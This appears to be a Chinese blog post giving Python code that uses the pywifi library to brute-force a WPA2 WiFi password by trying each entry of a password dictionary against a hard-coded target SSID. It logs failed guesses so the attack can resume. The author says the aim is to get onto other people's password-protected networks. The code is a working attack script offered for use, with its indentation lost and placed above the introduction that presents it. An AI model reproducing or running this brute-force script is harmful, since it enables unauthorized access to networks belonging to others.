import pywifi
from pywifi import const
import time
errorList=[]
# WiFi连接函数
def connect_wifi(ssid, password):
wifi = pywifi.PyWiFi() # 创建一个WiFi对象
iface = wifi.interfaces()[0] # 获取第一个无线网卡接口
iface.disconnect() # 断开当前WiFi连接
time.sleep(1) # 等待1秒
profile = pywifi.Profile() # 创建WiFi配置文件
profile.ssid = ssid # 设置WiFi名称(SSID)
profile.auth = const.AUTH_ALG_OPEN # 设置WiFi加密算法(这里使用开放式认证)
profile.akm.append(const.AKM_TYPE_WPA2PSK) # 设置WiFi身份验证算法(这里使用WPA2-PSK)
profile.cipher = const.CIPHER_TYPE_CCMP # 设置WiFi加密方式(这里使用CCMP加密)
profile.key = password # 设置WiFi密码
# 删除所有WiFi配置文件
iface.remove_all_network_profiles()
# 添加新的WiFi配置文件
tmp_profile = iface.add_network_profile(profile)
iface.connect(tmp_profile) # 连接WiFi
time.sleep(3) # 等待3秒,等待连接成功
if iface.status() == const.IFACE_CONNECTED: # 判断是否连接成功
print(f"成功连接到WiFi:{ssid},密码为:{password}")
return True
else:
print(f"无法连接到WiFi:{ssid},密码为:{password}")
# 将字典保存到文件
with open('error.txt', 'a') as f:
f.write(password + 'n')
return False
# 读取字典文件
with open('dictionary.txt', 'r') as f:
dictionary = f.read().splitlines()
with open('error.txt', 'r') as f:
errorDictionary = f.read().splitlines()
ssid = '4F' # 替换为目标WiFi的SSID
realDict=[]
for i in dictionary:
if i not in errorDictionary:
realDict.append(i)
# 尝试字典中的每个密码
for password in realDict:
if connect_wifi(ssid, password):
break # 如果成功连接,停止尝试密码
引言:最近我遇到了一个问题,就是在没有可用WiFi密码的情况下,我发现了一些高质量的但是没有密码的WiFi网络。于是我想,也许可以使用Python来调用常见的WiFi字典包,尝试对这些WiFi进行暴力破解,说不定能够成功。
原理:首先,我们需要使用命令”pip install pywifi”来安装pywifi库。然后,在代码中设置好要扫描的WiFi名称。接下来,我们使用pywifi库调用本机的网卡,并设置WiFi的加密方式。然后,我们可以使用字典包来逐个尝试密码。如果扫描失败,那么密码将会被记录在error.txt文件中。这样,当WiFi扫描意外中断时,我们可以立即从上次扫描失败的地方重新开始尝试。如果要切换到破解其他WiFi,记得清空error.txt文件,因为其中的密码不会再次尝试。
我尝试了一下,只使用了常见的WiFi密码字典包,大概有几十万条密码。如果要尝试使用0-9和a-z的随机组合,那是不可能的,因为组合的种类有数十亿条,即使跑上千万年也无法完成。
源码如下: